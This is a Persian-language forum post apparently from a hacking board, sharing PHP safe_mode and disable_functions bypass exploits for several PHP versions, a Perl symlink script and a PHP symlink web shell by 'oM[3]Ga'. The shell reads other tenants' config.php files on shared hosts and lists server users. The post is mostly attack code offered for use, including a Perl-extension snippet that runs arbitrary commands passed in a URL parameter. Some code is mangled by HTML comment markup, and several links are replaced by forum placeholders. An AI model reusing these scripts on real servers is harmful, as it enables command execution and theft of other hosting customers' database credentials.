bypass واسه ورژن های مختلف php:
PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
<!--p
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path = str_repeat("..\", 20);
$MyBoot_readfile = readfile($path."windows\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
echo $MyBoot_readfile;
echo "
ionCube output:
";
echo $MyBoot_ioncube;
-->
PHP safe_mode bypass via proc_open() and custom environment
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
?>;
</strong>
PHP Perl Extension Safe_mode Bypass Exploit
<!--if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$[Only registered and activated users can see links]
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls ';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$per-->eval("system('".$_GET['cmd']."')");
echo "";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "
<form enctype="application/x-[Only registered and activated users can see links]" method="get">CMD:
<input name="cmd" size="25" type="text" value="".$_GET[" /></form>
"
?>
PHP < 5.2.5 Safe mode Bypass
[Only registered and activated users can see links]
PHP 5.2.6 error_log safe_mode bypass
[Only registered and activated users can see links]
PHP <= 5.2.9 Local Safemod Bypass Exploit (win32)
[Only registered and activated users can see links]
PHP python extension safe_mode Bypass Local Vulnerability
[Only registered and activated users can see links]
PHP 5.2.11/5.3.0 symlink() open_basedir bypass
[Only registered and activated users can see links]
شلر بعدی هم امکانات خوبی داره و aspx هم هست.
سیم لینک ساده ی پرل
#!/usr/bin/perl
# Written By le0n
# GAZA Hacker Team
# Not A complete Script but keep priv8
symlink ("/home/hacker/public_html/forum/includes/config.php","/home/hacker/public_html/f4");
print "Content-type: text/html\\n\\n";
open (THISFILE,"le0n.txt");
foreach $line()
{
print "$line<br>\\n";
}
close (THISFILE);
سیم لینک ساده ی php
<?
/*================*\
|| ########## ||
|| #oM[3]Ga # ||
|| ########## ||
\*================*/
?>
<font color="#FF0000" face="Comic Sans MS">
<title>Symlink By oM[3]Ga</title>
</font><font color="#FF0000"></font>
<p align="center">
<p align="center"><b><font color="#FF0000">Symlink By oM[3]Ga</font></b><p align="center">
<p align="center">
<p align="center">
<p align="center">
<body style="border-style: double; border-width: 3" bgcolor="#000000">
<span lang="ar-sa"><font color="#FFFFFF">
<font color="#0066FF">
<form style="border: 4px ridge #FFFFFF">
</b></font>
</font></span><font color="#FFFFFF">
<td width="50%">
<p><input type="text" name="youruser" value="Your user" size="15"></td><input type="text" name="victimuser" value="Victim user" size="15"></td><input type="text" name="folder" value="Folder your in" size="15"></td><input type="text" name="file" value="vb/includes/config.php" size="20"><tr><td width="50%" colspan="2"><?echo exec('id');?></p>
<p align="center"><input type="submit" value="GET"></td>
</tr>
</p>
</form>
<form style="border: 4px ridge #FFFFFF">
<td width="50%">
<p align="center">
<td width="50%"><select size="1" name="sites"><option value="alias">Sites On Server</option></option></select></td>
<td width="100%" colspan="2">
<input type="submit" value="GET"></td>
</tr>
</p>
</form>
<textarea method='POST' rows=20 cols=100 wrap=off>
<?php
if ($_GET['sites'] )
passthru('ls -al /etc/valiases');
if ($_GET['plugin'] )
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
echo "</textarea>";
if(!empty($_GET['victimuser']) AND !empty($_GET['youruser']) AND !empty($_GET['folder']))
{
$victim=$_GET['victimuser'];
$you=$_GET['youruser'];
$folder=$_GET['folder'];
}
$k = $_GET['file'];
$flib = "omega.txt";
if ($k == "") {
echo "";
die;
}else{
@unlink($flib);
$thefile = "/home/" . $victim . "/public_html/" . $k;
$thefolder = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
@symlink($thefile, $thefolder);
if ($k{0} == "/") {
echo "********** window.location = '" . $flib . "'</script>";
}else{
echo "<pre><xmp>";
echo file_get_contents("[Only registered and activated users can see links]" . $_SERVER['[Only registered and activated users can see links]'] . "/" . $folder . "/" . $flib);
}
}
?>
با سلام
به علت پاکسازی بخش/
تاپیک دوباره ایجاد میشود
